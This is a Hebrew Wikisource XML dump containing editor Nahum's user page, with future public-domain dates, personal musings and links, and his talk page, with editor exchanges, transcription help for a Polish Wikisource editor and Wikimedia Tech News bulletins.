*[[w:מיכאל היגר|ד&quot;ר מיכאל היגגער]] - [[מסכת סופרים (היגר)]], יצירה חופשית
*דילן תומאס, [[ואין שלטון ביום המוות]], יצירה חופשית
*[[טובות זכרונות]], אברהם שטרנהרץ, - גרסאות מחוקות שוחזרו
* ספר חנוך א' - כהנא ויעקב פייטלוביץ' - יצירה חופשית
*[[מחבר:אפרים פורת]], 1 בינואר 2030 - [[אגרות צפון]] בתרגומו
*[[w:חיים הלר|חיים הלר - סהמ&quot;צ להרמב&quot;ם]], 1 בינואר 2031
*[[w:en:Grigorii Grebnev|גריגורי גרבנב]] - 1 בינואר 2031
*[[מלכי רבנן]], שיחזור ע&quot;פ דף השיחה, 1 בינואר 2032
*[[ודע מה שתשיב המבואר]] - 1 בינואר 2033
*[[תפלת מנשה]], ושאר יצירות שנכתבו או נערכו בידי א. ש. הרטום - 1 בינואר 2036
*[[אנא בחסדך]]; [[חביבי]]; [[נגילה הללויה]] - [[w:אשר מזרחי|אשר מזרחי]] - 1 בינואר 2038
*[[פרנהיים]] , עגנון - 1 בינואר 2041
*[[חיש חיש אלופי]] - ר' [[w:דוד בוזגלו|דוד בוזגלו]] - 1 בינואר 2046
*הרב [[w:צבי יהודה קוק|צבי יהודה קוק]] - [[עולת ראי&quot;ה]] - 1 בינואר 2053
*[[w:זלדה|זלדה]] – 1 בינואר 2055
*[[מחבר:רב יהודה לייב הלוי אשלג|הרב יהודה אשלג]], [[ספר שמעתי]], 1 בינואר 2062
*[[חזון אי&quot;ש]], &lt;s&gt;יצירה חופשית&lt;/s&gt; [1 בינואר 2062]
* [[נאום השפנים והחזירים (הרב שך)]] – 1 בינואר 2072

== הרהורים תועים ==
אם יש ספר שראוי לניקוד וטעמים בשיטת המסורה, מלבד כ&quot;ד כתבי הקודש, הרי אלו ששה סדרי משנה; ואחריהם, מכל הספרים החיצונים, ספר יוסיפון.

'''עדכון:''' יצא לי להיתקל לאחרונה בצילום כת&quot;י ובו תרגום אונקלוס בניקוד וטעמים. הרעיון קורץ. (מקור:  'Duke of Sussex's German Pentateuch'. 1300-1324)

'''עדכון 2:''' [[משתמש:הירש אייזנשטיין/אונקלוס בטעמים]]


עוד הרהור תועה (שקשור בעיקר לוויקיפדיה ולא כ&quot;כ לוויקיטקסט):

&quot;חסידות חב&quot;ד&quot; כמונח לא אמור להתייחס לקבוצת החסידים, כי אם לשיטת (לימוד) החסידות, שהיא בשיטה שייסד אדה&quot;ז (ר' שניאור זלמן מליאדי). הלומדים והולכים בשיטה זו הם &quot;חסידי חב&quot;ד&quot; ללא תלות באדמו&quot;ר או קבוצה חסידית אליהם הם משתייכים. החסידות עצמה, במובנה הכללי, אמורה להיקרא &quot;חסידות ליובאוויטש&quot;, והיא אמורה לסמן את כל הנאמנים לאדמו&quot;רי בית ליובאוויטש לדורותיהם.

הבחנה היסטורית זו ניטשטשה מאוד בשמונים ומשהו השנים האחרונות (מאז היגר אדמו&quot;ר הריי&quot;צ ועימו מרכז החסידות לארה&quot;ב) וכיום איננה קיימת, אך אולי הגיע הזמן (בעקבות השינויים והפיצולים בחסידות לאחר פטירת האדמו&quot;ר האחרון) לחדשה.

==קישורים נוספים==
*{{תב|הסבר בוט חוקים|חוק חופש המידע}} -- להסבר למי שתיקן במרחב הראשי את [[חוק חופש המידע]]
*{{תב|שחזור בוט חוקים}} -- למי שתיקן והבוט כבר שיחזר לו

*[[/טיוטה/]] לתווים
*[[משתמש:Zofthej/אור שמח/הלכות יסודי התורה]]

* שבוע נוכחי: {{שבוע נוכחי מראשון}} 

*לעזרה בהוראות תנאי: [[w:עזרה:הוראות תנאי]]

*לעזרה בטבלאות: [[w:עזרה:טבלאות]]

*לעזרה בחיפוש והחלפת ביטויים רגולריים: [[עזרה:ביטוי רגולרי]]

*לעזרה בהערות שוליים: [[w:עזרה:הערת שוליים]]

*[[שיחת תבנית:פרשת השבוע הנוכחית]]--לעזרה בתיקון העמוד הראשי בתחילת השנה האזרחית

*[[שיחת משתמש:BinyominZeev]] -- לאתר מפתח לתורה לפרשת שבוע
*[https://nakdan.dicta.org.il/ הנקדן המהיר של דיקטא] (לא המקצועי)
*[https://removenikud.dicta.org.il/ מסיר ניקוד]
*[[/ארגז חול/]]
*[https://www.sefaria.org.il/Beur_HaGra_on_Shulchan_Arukh%2C_Orach_Chayim.31.1.1?lang=he&amp;with=all&amp;lang2=he גר&quot;א]
*[https://www.sefaria.org.il/Minchat_Chinukh?lang=he מנ&quot;ח בספריא] [https://www.sefaria.org.il/Minchat_Chinukh.2.3.18?lang=he&amp;with=all&amp;lang2=he כאן]
*'''לשלב בדפי הרי&quot;ף:''' [[השגות הראב&quot;ד על רי&quot;ף/ברכות/מד א‏]] 

[[משתמש:Nahum/דוגמאות וקישורים נחוצים|דוגמאות וקישורים נחוצים]]

[[תבנית:חופשת ויקי]]

[[:yi:טייטש יהואש בראשית פרק י]]

[[מדיה ויקי:Sitenotice]]

[[תבנית:המרת או.סי.אר 2]]

[[תבנית:ממ רמב&quot;ם/קיצור שם]]

[[ויקיטקסט:ציטוט השבוע/הוספת ציטוט השבוע/דיונים]]

[[:קטגוריה:בבל: משתמשים לפי שפה]]

[[ויבינו במקרא/הפטרות#יהושע|רשימת ההפטרות לפי סדרם של ספרי הנביאים]] / [[ויבינו במקרא/הפטרות לשבתות ומועדים|לפי הסדר של פרשת השבוע]]

&lt;div align=ltr dir=ltr&gt;
&lt;nowiki&gt;After the software is deployed, but before it is enabled on your wiki, you can manually invoke the feature on individual pages by using this wikitext code: &lt;references responsive /&gt; instead of the plain  &lt;references /&gt; tag or a local template.&lt;/nowiki&gt;

For grouping reference notes: 

&lt;nowiki&gt;blah blah&lt;ref group=&quot;group name&quot;&gt;note 1&lt;/ref&gt;&lt;/nowiki&gt;

&lt;nowiki&gt;blah blah2&lt;ref group=&quot;group name&quot;&gt;note 2&lt;/ref&gt;&lt;/nowiki&gt;

...

&lt;nowiki&gt;&lt;references group=&quot;group name&quot; \&gt;&lt;/nowiki&gt;

Quick fix to a bug, causing progress in main namespace to show as 0 length:

Add to Common.css:

.pr_quality {
	width: 100px;
}

&lt;/div&gt;
----
מעודכן לתאריך: 2.08.2024 - נחום</text>
      <sha1>7eltftl5vc8g7jmyocd57joilfm8gdx</sha1>
    </revision>
  </page>
  <page>
    <title>שיחת משתמש:Nahum</title>
    <ns>3</ns>
    <id>1605</id>
    <revision>
      <id>3020759</id>
      <parentid>3020112</parentid>
      <timestamp>2026-06-19T10:10:54Z</timestamp>
      <contributor>
        <username>ג'רמון</username>
        <id>45757</id>
      </contributor>
      <comment>/* */ תגובה</comment>
      <origin>3020759</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="498428" sha1="142ytscyzn97vryhd7fgyg3iy6cte2g" xml:space="preserve">__NEWSECTIONLINK__
:שיחות ישנות נמצאות כאן:
:[[משתמש:Nahum/ארכיון 1|ארכיון 1]] – [[משתמש:Nahum/ארכיון 2|2]] – [[משתמש:Nahum/ארכיון 3|3]] – [[משתמש:Nahum/ארכיון 4|4]] – [[משתמש:Nahum/ארכיון 5|5]] – [[משתמש:Nahum/ארכיון 6|6]] – [[משתמש:Nahum/ארכיון 7|7]] – [[משתמש:Nahum/ארכיון 8|8]] – [[משתמש:Nahum/ארכיון 9|9]] - [[משתמש:Nahum/ארכיון 10|10]] – [[משתמש:Nahum/ארכיון 11|11]] – [[משתמש:Nahum/ארכיון 12|12]] – [[משתמש:Nahum/ארכיון 13|13]] – [[משתמש:Nahum/ארכיון 14|14]]
:[[משתמש:Nahum/ידיעות טכנולוגיה 2022|ארכיון טכנולוגיה 2022]] - [[משתמש:Nahum/ידיעות טכנולוגיה 2023|2023]] - [[משתמש:Nahum/ידיעות טכנולוגיה 2024|2024]]
--[[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 12:00, 2 באפריל 2024 (IDT)

:שלום וברכה ר'נחום, אני עורך את העמוד מבשר טוב- ארץ ישראל 
:במהלך העריכה שלי מסתבר שהוא זמנית אתה גם מנסה לערוך את זה וזה הקשה על שמירת השינויים והעריכה...
:אני מניח שלכבודו יש כוונות טובות, אך אשמח לבקש שכבודו לא יתערב בעריכה של הדף הנ&quot;ף ועוד דפים שאני עובד עליהם שיעלו בהמשך בעז&quot;ה. 
:כן אם תראה דברים שיש מה לתקן או לשפר אשמח לקבל ממך קודם כל דרך הודעה פה
:שבת שלום ומבורך ובשורות טובות [[משתמש:ג&amp;#39;רמון|ג&amp;#39;רמון]] ([[שיחת משתמש:ג&amp;#39;רמון|שיחה]]) 13:10, 19 ביוני 2026 (IDT)


== גייס החרדים לויקיציטוט ==

תודה על העזרה האדיבה והסבלנית במהלך החודשים האחרונים, ועל שיפור התרומות הלא שלמות שלי. רוב העורכים במזימים אחרים נוטים לחזור בבור ולהתחיל ויכוחים, מניסיוני, ואז להאשים במלחמת עריכה.  לעומת זאת, אתה שיפרת את תרומות הנועזים שלי, ונתת לי עצות.
זה מה שאנחנו צריכים בויקיפדיה. 

בחודש שעבר התחלתי בויקיציטוט: [[q:משתמש:Jaredscribe]]
 
מצאתי את הדף שלך ב[[q:משתמש:Nahum]], אבל כנרא אתה לא עושה שם הרבה.

תשקול לתרום יותר שם. ושתהיה לך הצלחה.

אנחנו צריכים לחקור את המקורות בויקיטקסט, הקלט את הפתגמי החכמות בויקיציטוט. ולאחר מכן בחר מתוך וקיציטוט כדי להגיש בקשה לוויקיפדיה.
אחר בכן, לתרגם לשפות אחרות להאיר בגוים.

הלא זה שירות לאומי שיעשה יותר עבור ישראל מאשר שירות בצבא?

שנאמר: &quot;ה[[q:חכמה|חכם]] לחכם מעשרה שליטים אשר היו בעיר&quot; [[קהלת ז]] יט.
במזים ויקיציטוט המתיוונים כנרא בשליטה, כאשר כמו ברוב המזימים אחרים.
הם נלחמו נגדי, כדי למנוע מהציטוט הזה להתווסף.  אך לא הצליחו, רק עזרו להוכיח את אמיתותו, ב&quot;ה.

[[משתמש:Jaredscribe|Jaredscribe]] ([[שיחת משתמש:Jaredscribe|שיחה]]) 13:48, 1 בינואר 2025 (IST)

:למיטב זכרוני אומר הציטוט: &quot;החכמה תעוז לחכם מעשרה שליטים אשר היו בעיר&quot;.
:אינני פעיל במיוחד בוויקיפדיה ובוויקיציטוט. כאן בוויקיטסקט מצאתי חברים מקשיבים שבנו ביחד איתי ועם אחרים קהילה סבלנית ומשגשגת. לצערי לא זה המצב בוויקיפדיה. ויהי החודש הזה סוף וקץ לכל צרותינו, תחילה וראש לפדיון נפשנו, --[[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 16:49, 1 בינואר 2025 (IST)
::יהי רצונו.
::בבקשה תסלחו על טעות דפוס שלי. כמובן, הזיכרון שלך נכון &quot;החכמה תעוז לחכם מעשרה שליטים אשר היו בעיר&quot;. וזה מה שנדפוס ב[[q:משתמש:Jaredscribe#ציטוטים_שהוספתי]]. 
::ויהי החודש הזה חודש של חכמה, ועוזה, ועצה טובה, שנאמר על העץ ב[[תהלים א|תהילם א']] &quot;כל אשר יעשה יצליח&quot;.
::[[משתמש:Jaredscribe|Jaredscribe]] ([[שיחת משתמש:Jaredscribe|שיחה]]) 05:49, 9 בפברואר 2025 (IST)

==Greetings from the Polish Wikisource==
Hi Nahum,
on the Polish Wikisource we have a text with a few words written with Hebrew letters [[:pl:Strona:PL Lelewel Odkrycia Karthagów i Greków.pdf/28|odkrycia]]. Would you be so kind to proofread (or maybe it would be easier - simply confirm or fix the words):
* חסחיד
* אם
* עשחד 
*  ים 
*  עבדכאח 
*  בדח אכן 
Regards [[משתמש:Draco flavus|Draco flavus]] ([[שיחת משתמש:Draco flavus|שיחה]]) 17:11, 5 בינואר 2025 (IST)
: {{א|Draco flavus}}, Thank you for reaching out to me. Next time, it could help if you add a few Polish words before and/or after the Hebrew.&lt;br&gt;Anyway, here goes:
:# הסתיר
:# אם (correct)
:# עשתר
:# Sorry, I couldn't find it. Please add a few Polish words around it so I can locate it.
:# עברנאה
:# ברת אנך
: Yours,&lt;br&gt; [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 17:58, 5 בינואר 2025 (IST)
Sorry it is really demanding to write English on Hebrew Wikisource (at least for me) the the word I need is 

(Astharte bogini, nazwisko miasta Deuter. 1. 4.) ים mare, occidens, meridies, a

Thanks for your help

Regards [[משתמש:Draco flavus|Draco flavus]] ([[שיחת משתמש:Draco flavus|שיחה]]) 18:04, 5 בינואר 2025 (IST)
: &lt;div dir=&quot;ltr&quot;&gt;Yes, that is indeed correct. ים It is inded.&lt;br&gt;[[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 18:19, 5 בינואר 2025 (IST)&lt;/div&gt; [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 18:19, 5 בינואר 2025 (IST)
::many thanks 
::[[משתמש:Draco flavus|Draco flavus]] ([[שיחת משתמש:Draco flavus|שיחה]]) 18:26, 5 בינואר 2025 (IST)

Hi, Nahum,

Once more I need assistance with hebrew letters
*[[:pl:Strona:PL Lelewel Odkrycia Karthagów i Greków.pdf/149|odkrycia 145]] --  a few hebrew words pisały⭕Jakiemi  (in the references part of the page)  
*[[:pl:Strona:PL Lelewel Odkrycia Karthagów i Greków.pdf/150|odkrycia 146]] --  a few hebrew words Maur⭕Mad⭕ów Armenin ⭕ (in the references part of the page)

In the first case are there?
* pisały  פרס, פרוס, Jakiemi (I am also not sure about the small comma like dashes - are there simply commas or a different character)
* Maur אורי Mad מדי ów Armenin ירם ?

Regards
[[משתמש:Draco flavus|Draco flavus]] ([[שיחת משתמש:Draco flavus|שיחה]]) 21:22, 15 במרץ 2025 (IST)

::Hello {{א|Draco flavus}},
::The first two words are correct. Indeed, פרס, פרוס.
::The second series of 3 should be: מורי, מדי, ירם; However, I'm unsure of the last one, as the image is a bit blurred and it could be ארם.
:Yours, [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 10:04, 16 במרץ 2025 (IST)

Thanks [[משתמש:Draco flavus|Draco flavus]] ([[שיחת משתמש:Draco flavus|שיחה]]) 17:16, 16 במרץ 2025 (IST)

== לגבי סידור תימני תפילת שחרית ==

שיניתי לך מספר דברים בנוסח התפילה...

מספר טקסטים לא מופיעים באף נוסח תימני, וחלקם לא מנוקדים נכון בעליל (לפי הנוסח שלנו...) סתם לידיעה, המנהג שלי תימני מאוד שורשי, בלדי, וערכתי מאות אם לא אלפי טקסטים (חלקם בקונטרסים ובספרים שערכתי והוצאתי), וכן הגהות ועריכות לשוניות בכמויות שהפסקתי לספור...

אז מחילה מראש אם שיניתי את עריכתך, בתודה מראש, (אני מוכן להערות, ואשמח מאוד לגבי כל מה שהגהתי)[[משתמש:אפרים העורך|אפרים העורך]] ([[שיחת משתמש:אפרים העורך|שיחה]]) 23:49, 7 בינואר 2025 (IST)
: תודה לך על ההגהה והעריכה הקפדנית ויישר כח. בברכה, [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 01:04, 8 בינואר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 03 ==

&lt;section begin=&quot;technews-2025-W03&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/03|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* המערכת Single User Login מאפשרת למשתמשים להתחבר באחד מאתרי ויקימדיה כך שזה יחבר אותם לכל האתרים בו זמנית. היא תעודכן בחודשים הקרובים. זה קורה מכיוון שדפדפנים ממשיכים להטיל הגבלות על קוקיות חוצות דומיינים. כדי להתאים את המערכת פעולות ההתחברות ויצירת החשבונות יעברו לדומיין מרכזי, מבלי שהמשתמשים יבחינו בהבדל, כאילו הם עדיין באתר המקורי. הקוד החדש יופעל באתרי בדיקה השבוע. השינוי לכולם מתוכנן להתקיים בפברואר ומרץ. ראו את [[mw:Special:MyLanguage/MediaWiki Platform Team/SUL3#Deployment|דף המיזם SUL3]] לפרטים נוספים ולוח הזמנים.

'''עדכונים לעורכים'''
* באתרים בהם מופעלת הרחבת [[mw:Special:MyLanguage/Extension:PageAssessments|PageAssessments]] ניתן עכשיו [[mw:Special:MyLanguage/Extension:PageAssessments#Search|לסנן תוצאות חיפוש]] עבור דפים במיזם ויקי נתון באמצעות מילת מפתח &lt;code dir=ltr&gt;inproject:&lt;/code&gt;. האתרים המדוברים הם {{int:project-localized-name-arwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-enwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-enwikivoyage/he}}{{int:comma-separator/he}}{{int:project-localized-name-frwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-huwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-newiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-trwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-zhwiki/he}}. [https://phabricator.wikimedia.org/T378868] 
* אתר ויקי חדש אחד נוצר: {{int:project-localized-name-group-wikipedia}} בשפת [[w:he:תיגרה|תיגרה]] ([[w:tig:|&lt;code&gt;w:tig:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T381377]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:35|התקלה שדווחה|כל {{formatnum:35}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן באג בעדכון מונה העריכות של משתמש שעשה שחזור עריכה. [https://phabricator.wikimedia.org/T382592]

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] משתמשי REST API של ויקימדיה, דוגמת מפעילי בוטים ותומכי כלים, יכולים להיות מושפעים מהשינויים הצפויים הבאים. החל מהשבוע של 13 בינואר נתחיל לנווט [[phab:T374683|חלק מנקודות הקצה לתוכן]] מ-RESTbase לנקודות קצה חדשות יותר של REST API עבור כל אתרי ויקי. השינוי כבר זמין ב-testwiki ולא צריך להשפיע על פונקציונליות, אבל משתמשים פעילים של נקודות הקצה הרלוונטיות יכולים להעלות נושאים ישירות בפני צוות הממשקים של ויקימדיה ב[[phab:project/view/6931/|פבריקטור]], אם יהיה בכך צורך.
* תומכי כלים ב-Toolforge יכולים עכשיו לשתף משוב ב-Toolforge UI, יוזמה שעלתה כדי לספק פלטפורמת רשת המאפשרת יצירה וניהול של כלי Toolforge באמצעות ממשק גרפי, בנוסף לדרכי העבודה הקיימים בשורת  הפקודה. המיזם מקווה לנווט משימות של תומכי כלים פעילים, כמו גם להפוך את תהליכי הרישום והפריסה לנגישים יותר עבור יוצרי הכלים החדשים. היזמה נמצאת עדיין בשלבים מאוד מוקדמים, וצוות שרותי הענן נמצא בתהליך איסוף משוב מקהילת Toolforge כדי לגבש צורה לפתרון הדרוש לה. [[wikitech:Wikimedia Cloud Services team/EnhancementProposals/Toolforge UI|ראו פרטים נוספים ושתפו את מחשובותיכם]] לגבי Toolforge IA. 
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] על מפתחי כלים וספריות המשתמשים במערכת OAuth לקחת בחשבון שזיהוי נקודת הקצה עבור [[mw:Special:MyLanguage/OAuth/For Developers#Identifying the user|OAuth 1]] ו-[[mw:Special:MyLanguage/OAuth/For Developers#Identifying the user 2|OAuth 2]] החזיר אובייקט JSON הכולל שדה &lt;code&gt;sub&lt;/code&gt; בתור integer במקום string. התקלה תוקנה והקוד החדש יופץ באתרי ויקי של ויקימדיה בשבוע של 13 בינואר. [https://phabricator.wikimedia.org/T382139]
* אתרי ויקי רבים משתמשים ב-[[:mw:Parsoid/Parser Unification/Cite CSS|CSS חוצה אתר]] כדי לעבד סימני הערות שוליים (1, 2, 3, א', ...) בפלט של הפרסואיד. החל מ-20 בינואר הכללים הללו ינותקו, אבל המפתחים מבקשים שלא לנקות את &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[MediaWiki:Common.css]]&lt;/bdi&gt; עד ל-20 בפברואר, בכדי למנוע בעיות במעבר. ייתכן שאתרי ויקי ירגישו שינויים קלים בסימנים הללו בעורך החזותי ובשימוש בפרסואיד הניסיוני, אבל כל שינוי צפוי אמור להפוך את התוצאה לזהה למראה הרגיל בפלט הפרסר. [https://phabricator.wikimedia.org/T370027]

'''פגישות ואירועים'''
* הפגישה הבאה בסדרת [[c:Special:MyLanguage/Commons:WMF support for Commons/Commons community calls|דיוני קרן ויקימדיה עם קהילת ויקישיתוף]] תתקיים ב-[[m:Special:MyLanguage/Event:Commons community discussion - 15 January 2025 08:00 UTC|15 בינואר ב-8:00]] וב-[[m:Special:MyLanguage/Event:Commons community discussion - 15 January 2025 16:00 UTC|16:00]] שעון UTC (או ב-10:00 וב-18:00 שעון ישראל). נושא השיחה הוא הגדרת סדרי העדיפויות בהשקעה בכלים בוויקישיתוף. עורכים מכל אתרי ויקי, ובמיוחד תומכי הכלים בוויקישיתוף, מוזמנים להשתתף.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/03|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W03&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:42, 14 בינואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28048614 --&gt;

== פרפראות לחכמה- להרה&quot;ק מטשערין ==

כרגע אני באמצע העלאה של הספר- (לא גמור),

בכל מקום כתוב &quot;פרפראות לחוכמה&quot;- עם האות וא&quot;ו, יש אפשרות לשנות, לפחות בחיפוש, שיהיה אפשר לקליד &quot;פרפראות לחכמה&quot;- ללא וא&quot;ו ?

תודה רבה ![[משתמש:אפרים העורך|אפרים העורך]] ([[שיחת משתמש:אפרים העורך|שיחה]]) 11:45, 19 בינואר 2025 (IST)
: לדעתי אין סיבה שזה יהיה עם ו'. אני אשנה.-- [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 12:14, 19 בינואר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 04 ==

&lt;section begin=&quot;technews-2025-W04&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/04|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* ההרחבה [[mw:Special:MyLanguage/Extension:Nuke|Nuke]] מאפשרת למפעילים מחיקת דפים רבים שנוצרו בידי משתמש או כתובת IP. עד כה ניתן היה למחוק דפים שנוצרו ב-30 הימים האחרונים. מעכשיו זה גדל ל-90 יום. [https://phabricator.wikimedia.org/T380846]
* חלק מאתרי ויקי שמשתמשים ב[[mw:Special:MyLanguage/Help:Patrolled edits|ניטור ברירת מחדל]]. [[phab:P72148|הרשימה]] כוללת, בין היתר, את ויקיפדיה העברית, ויקיספר, ויקיציטוט, ויקימילון וויקיחדשות. כאשר בניטור הזה משוחזרת גרסה לא מנוטרת, היא תסומן כ&quot;מנוטרת ידנית&quot;, במקום &quot;מסומנת אוטומטית&quot;, כפי שהיה עד כה, כדי לדייק בהגדרה. ייתכן כי חלק מהמשתמשים יצטרכו לעדכן [[mw:Special:MyLanguage/Help:New filters for edit review/Filtering|מסננים]] בדף השינויים האחרונים. [https://phabricator.wikimedia.org/T302140]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, התכונה של העורך החזותי להוספת קישור לא תמיד הציעה דפים קיימים כראוי כשהמשתמש התחיל להקליד, ועכשיו זה [[phab:T383497|תוקן]].

'''עדכונים לעורכים הטכניים'''
* הרחבת הדיונים המבניים (לשעבר זרימה) מוסרת בזמן האחרון מאתרי ויקי. ההרחבה לא מטופלת וגורמת לבעיות. היא תוחלף ב[[mw:Special:MyLanguage/Help:DiscussionTools|כלי שיחה]], בהם נעשה שימוש בדפי שיחה רגילים. [[mw:Special:MyLanguage/Structured Discussions/Deprecation#Deprecation timeline|הקבוצה האחרונה של אתרי ויקי]], הכוללת את {{int:project-localized-name-cawikiquote/he}}{{int:comma-separator/he}}{{int:project-localized-name-fiwikimedia/he}}{{int:comma-separator/he}}{{int:project-localized-name-gomwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-kabwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-ptwikibooks/he}}{{int:comma-separator/he}}{{int:project-localized-name-sewikimedia/he}}, תקבל הודעה על כך בקרוב. לשאלות ניתן לתייג את [[m:User:Trizek (WMF)|Trizek (WMF)]] באתר ויקי שלכם. [https://phabricator.wikimedia.org/T380912]
* הרבעון האחרון של [[mw:Technical_Community_Newsletter/2025/January|עיתון הקהילה התכנית]] יצא לאור. המהדורה כוללת עדכונים לגבי שירותים המסופקים בידי צוות פלטפורמת הנתונים, מידע לגבי Codex מטעם צוות עיצוב המערכת, ועוד.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/04|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W04&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:37, 21 בינואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28129769 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 05 ==

&lt;section begin=&quot;technews-2025-W05&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/05|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* קרן ויקימדיה מבקשת ממנטרים ומפעילים להשיב מה המידע או ההקשרים על עריכות או משתמשים שיכולים לעזור להם לקבל החלטות מהר וקל יותר. בכוונתה להשתמש בזה כדי לכוון את התוכנית השנתית הבאה שתתקבל בקרוב. ניתן לענות על השאלה הזאת ו-[[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Product &amp; Technology OKRs|13 אחרות]] כדי לעזור לבנות את הכיוון הטכני לשנה הבאה.

'''עדכונים לעורכים'''
* היישומון של ויקיפדיה עבור iOS מציע עכשיו למשתמשים את תכונת [[mw:Special:MyLanguage/Wikimedia Apps/Team/iOS/Personalized Wikipedia Year in Review/How your data is used|סקירת שנה אישית]] המספקת רעיונות בהתבסס על קריאתם והיסטוריית העריכות שלהם בוויקיפדיה. המיזם הזה הוא חלק ממאמץ נרחב לעזור לקוראים חדשים לגלות תוכן אנציקלופדי ולעבוד איתו.
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]] המנטרים קיבלו כלי חדש העוזר להם למצוא דפים חדשים חשודים. כשדף שנמחק בעבר נוצר מחדש הוא יסומן באמצעות תגית Recreated, אותה אפשר לסנן ב-[[{{#special:RecentChanges}}]] וב-[[{{#special:NewPages}}]].&amp;rlm; [https://phabricator.wikimedia.org/T56145]
* בהמשך השבוע תתווסף אזהרה חדשה לעורכים המנסים ליצור [[mw:Special:MyLanguage/Help:Redirects#Double redirects|הפניה כפולה]]. ההודעה שתופיע תמליץ לקשר ישירות ליעד ההפניה. תודות למשתמש:SomeRandomDeveloper  על השיפור הזה. [https://phabricator.wikimedia.org/T326056]
